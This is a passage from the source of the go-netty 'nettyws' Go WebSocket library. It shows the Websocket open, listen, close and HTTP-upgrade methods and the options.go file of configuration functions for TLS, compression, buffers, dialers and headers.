54 | ws.engine = opts.engine 55 | ws.holder = newChannelHolder(1024) 56 | ws.options = opts.wsOptions() 57 | ws.ctx, ws.cancel = context.WithCancel(opts.engine.Context()) 58 | ws.upgrader = websocket.NewHTTPUpgrader(opts.engine, transport.WithAttachment(ws), transport.WithContext(ws.ctx), websocket.WithOptions(ws.options)) 59 | return ws 60 | } 61 | 62 | // Open websocket connection from address 63 | func (ws *Websocket) Open(addr string) (conn Conn, err error) { 64 | channel, err := ws.engine.Connect(addr, transport.WithAttachment(ws), transport.WithContext(ws.ctx), websocket.WithOptions(ws.options)) 65 | if nil == err { 66 | channel.Pipeline().IndexOf(func(handler netty.Handler) bool { 67 | var ok bool 68 | conn, ok = handler.(Conn) 69 | return ok 70 | }) 71 | 72 | if nil == conn { 73 | err = fmt.Errorf("not found `Conn` Handler in pipleine") 74 | channel.Close(err) 75 | } 76 | 77 | } 78 | return conn, err 79 | } 80 | 81 | // Listen websocket connections on address 82 | func (ws *Websocket) Listen(addr string) error { 83 | // create listener 84 | listener := ws.engine.Listen(addr, transport.WithAttachment(ws), transport.WithContext(ws.ctx), websocket.WithOptions(ws.options)) 85 | ws.listeners.Store(addr, listener) 86 | 87 | defer func() { 88 | if _, loaded := ws.listeners.LoadAndDelete(addr); loaded { 89 | _ = listener.Close() 90 | } 91 | }() 92 | 93 | // listen connections 94 | return listener.Sync() 95 | } 96 | 97 | // Close the listeners and connections 98 | func (ws *Websocket) Close() error { 99 | // all child or client connections to canceled 100 | ws.cancel() 101 | 102 | // close all listeners 103 | ws.listeners.Range(func(key, value interface{}) bool { 104 | ws.listeners.Delete(key) 105 | _ = value.(netty.Listener).Close() 106 | return true 107 | }) 108 | 109 | // close all connections 110 | ws.holder.CloseAll(ClosedError{Code: 1000, Reason: "websocket shutdown"}) 111 | 112 | // stop the custom engine 113 | if defaultEngine != ws.engine { 114 | ws.engine.Shutdown() 115 | } 116 | return nil 117 | } 118 | 119 | func (ws *Websocket) ServeHTTP(writer http.ResponseWriter, request *http.Request) { 120 | if _, err := ws.UpgradeHTTP(writer, request); nil != err { 121 | if errors.Is(err, ErrServerClosed) { 122 | http.Error(writer, "http: server shutdown", http.StatusNotAcceptable) 123 | } else { 124 | http.Error(writer, err.Error(), http.StatusNotAcceptable) 125 | } 126 | } 127 | } 128 | 129 | // UpgradeHTTP upgrades http connection to the websocket connection 130 | func (ws *Websocket) UpgradeHTTP(writer http.ResponseWriter, request *http.Request) (conn Conn, err error) { 131 | 132 | select { 133 | case <-ws.ctx.Done(): 134 | return nil, ErrServerClosed 135 | default: 136 | } 137 | 138 | channel, err := ws.upgrader.Upgrade(writer, request) 139 | if nil != err { 140 | return nil, err 141 | } 142 | 143 | channel.Pipeline().IndexOf(func(handler netty.Handler) bool { 144 | var ok bool 145 | conn, ok = handler.(Conn) 146 | return ok 147 | }) 148 | 149 | if nil == conn { 150 | err = fmt.Errorf("not found `Conn` Handler in pipleine") 151 | channel.Close(err) 152 | } 153 | return 154 | } 155 | -------------------------------------------------------------------------------- /options.go: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2023 the go-netty project 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * https://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | 17 | package nettyws 18 | 19 | import ( 20 | "context" 21 | "crypto/tls" 22 | "net" 23 | "net/http" 24 | "time" 25 | 26 | "github.com/go-netty/go-netty" 27 | "github.com/go-netty/go-netty-transport/websocket" 28 | "github.com/gobwas/ws" 29 | ) 30 | 31 | // MessageType websocket message type 32 | type MessageType int 33 | 34 | const ( 35 | // MsgText text message 36 | MsgText MessageType = iota 37 | // MsgBinary binary message 38 | MsgBinary 39 | ) 40 | 41 | // Dialer is a means to establish a connection. 42 | type Dialer interface { 43 | // Dial connects to the given address via the proxy. 44 | Dial(network, addr string) (c net.Conn, err error) 45 | } 46 | 47 | // contextDialer dials using a context 48 | type contextDialer interface { 49 | DialContext(ctx context.Context, network, address string) (net.Conn, error) 50 | } 51 | 52 | type options struct { 53 | engine netty.Bootstrap 54 | serveMux *http.ServeMux 55 | tls *tls.Config 56 | noDelay bool 57 | checkUTF8 bool 58 | maxFrameSize int64 59 | readBufferSize int 60 | writeBufferSize int 61 | messageType MessageType 62 | compressEnabled bool 63 | compressLevel int 64 | compressThreshold int64 65 | requestHeader http.Header 66 | responseHeader http.Header 67 | dialer Dialer 68 | dialTimeout time.Duration 69 | } 70 | 71 | func parseOptions(opt ...Option) *options { 72 | opts := &options{ 73 | engine: defaultEngine, 74 | serveMux: http.NewServeMux(), 75 | messageType: MsgText, 76 | noDelay: true, 77 | readBufferSize: 0, 78 | writeBufferSize: 0, 79 | } 80 | for _, op := range opt { 81 | op(opts) 82 | } 83 | return opts 84 | } 85 | 86 | func (wso *options) wsOptions() *websocket.Options { 87 | opCode := ws.OpText 88 | if MsgBinary == wso.messageType { 89 | opCode = ws.OpBinary 90 | } 91 | 92 | var dialer = ws.DefaultDialer 93 | dialer.Timeout = wso.dialTimeout 94 | if wso.requestHeader != nil { 95 | dialer.Header = ws.HandshakeHeaderHTTP(wso.requestHeader) 96 | } 97 | 98 | if wso.dialer != nil { 99 | ctxDialer, isCtxDialer := wso.dialer.(contextDialer) 100 | dialer.NetDial = func(ctx context.Context, network, addr string) (net.Conn, error) { 101 | if isCtxDialer { 102 | return ctxDialer.DialContext(ctx, network, addr) 103 | } 104 | return wso.dialer.Dial(network, addr) 105 | } 106 | } 107 | 108 | var upgrader = ws.DefaultHTTPUpgrader 109 | if wso.responseHeader != nil { 110 | upgrader.Header = wso.responseHeader 111 | } 112 | 113 | return &websocket.Options{ 114 | TLS: wso.tls, 115 | OpCode: opCode, 116 | CheckUTF8: wso.checkUTF8, 117 | MaxFrameSize: wso.maxFrameSize, 118 | ReadBufferSize: wso.readBufferSize, 119 | WriteBufferSize: wso.writeBufferSize, 120 | Backlog: 256, 121 | NoDelay: wso.noDelay, 122 | CompressEnabled: wso.compressEnabled, 123 | CompressLevel: wso.compressLevel, 124 | CompressThreshold: wso.compressThreshold, 125 | Dialer: dialer, 126 | Upgrader: upgrader, 127 | ServeMux: wso.serveMux, 128 | } 129 | } 130 | 131 | type Option func(*options) 132 | 133 | // WithServeMux overwrite default http.ServeMux 134 | func WithServeMux(serveMux *http.ServeMux) Option { 135 | return func(options *options) { 136 | options.serveMux = serveMux 137 | } 138 | } 139 | 140 | // WithServeTLS serve port with TLS 141 | func WithServeTLS(tls *tls.Config) Option { 142 | return func(options *options) { 143 | options.tls = tls 144 | } 145 | } 146 | 147 | // WithBinary switch to binary message mode 148 | func WithBinary() Option { 149 | return func(options *options) { 150 | options.messageType = MsgBinary 151 | } 152 | } 153 | 154 | // WithValidUTF8 enable UTF-8 checks for text frames payload 155 | func WithValidUTF8() Option { 156 | return func(options *options) { 157 | options.checkUTF8 = true 158 | } 159 | } 160 | 161 | // WithNoDelay controls whether the operating system should delay 162 | // packet transmission in hopes of sending fewer packets (Nagle's 163 | // algorithm). The default is true (no delay), meaning that data is 164 | // sent as soon as possible after a Write. 165 | func WithNoDelay(noDelay bool) Option { 166 | return func(o *options) { 167 | o.noDelay = noDelay 168 | } 169 | } 170 | 171 | // WithMaxFrameSize set the maximum frame size 172 | func WithMaxFrameSize(maxFrameSize int64) Option { 173 | return func(options *options) { 174 | options.maxFrameSize = maxFrameSize 175 | } 176 | } 177 | 178 | // WithBufferSize set the read/write buffer size 179 | func WithBufferSize(readBufferSize, writeBufferSize int) Option { 180 | return func(options *options) { 181 | options.readBufferSize, options.writeBufferSize = readBufferSize, writeBufferSize 182 | } 183 | } 184 | 185 | // WithAsyncWrite enable async write 186 | func WithAsyncWrite(writeQueueSize int, writeForever bool) Option { 187 | return func(options *options) { 188 | options.engine = netty.NewBootstrap( 189 | netty.WithTransport(websocket.New()), 190 | netty.WithChannel(netty.NewAsyncWriteChannel(writeQueueSize, writeForever)), 191 | netty.WithChannelHolder(nil), 192 | netty.WithClientInitializer(makeInitializer(true)), 193 | netty.WithChildInitializer(makeInitializer(false)), 194 | ) 195 | } 196 | } 197 | 198 | // WithCompress enable message compression with level, messages below the threshold will not be compressed. 199 | func WithCompress(compressLevel int, compressThreshold int64) Option { 200 | return func(options *options) { 201 | options.compressEnabled = true 202 | options.compressLevel = compressLevel 203 | options.compressThreshold = compressThreshold 204 | } 205 | } 206 | 207 | // WithClientHeader is an optional http.Header mapping that could be used to 208 | // write additional headers to the handshake request. 209 | func WithClientHeader(header http.Header) Option { 210 | return func(options *options) { 211 | options.requestHeader = header 212 | } 213 | } 214 | 215 | // WithServerHeader is an optional http.Header mapping that could be used to 216 | // write additional headers to the handshake response. 217 | func WithServerHeader(header http.Header) Option { 218 | return func(options *options) { 219 | options.responseHeader = header 220 | } 221 | } 222 | 223 | // WithDialer specify the client to connect to the network via a dialer. 224 | func WithDialer(dialer Dialer) Option { 225 | return func(options *options) { 226 | options.dialer = dialer 227 | } 228 | } 229 | 230 | // WithDialTimeout specify the timeout is the maximum amount of time a Dial() will wait for a connect 231 | // and an handshake to complete. 232 | func WithDialTimeout(timeout time.Duration) Option { 233 | return func(options *options) { 234 | options.dialTimeout = timeout 235 | } 236 | } 237 | --------------------------------------------------------------------------------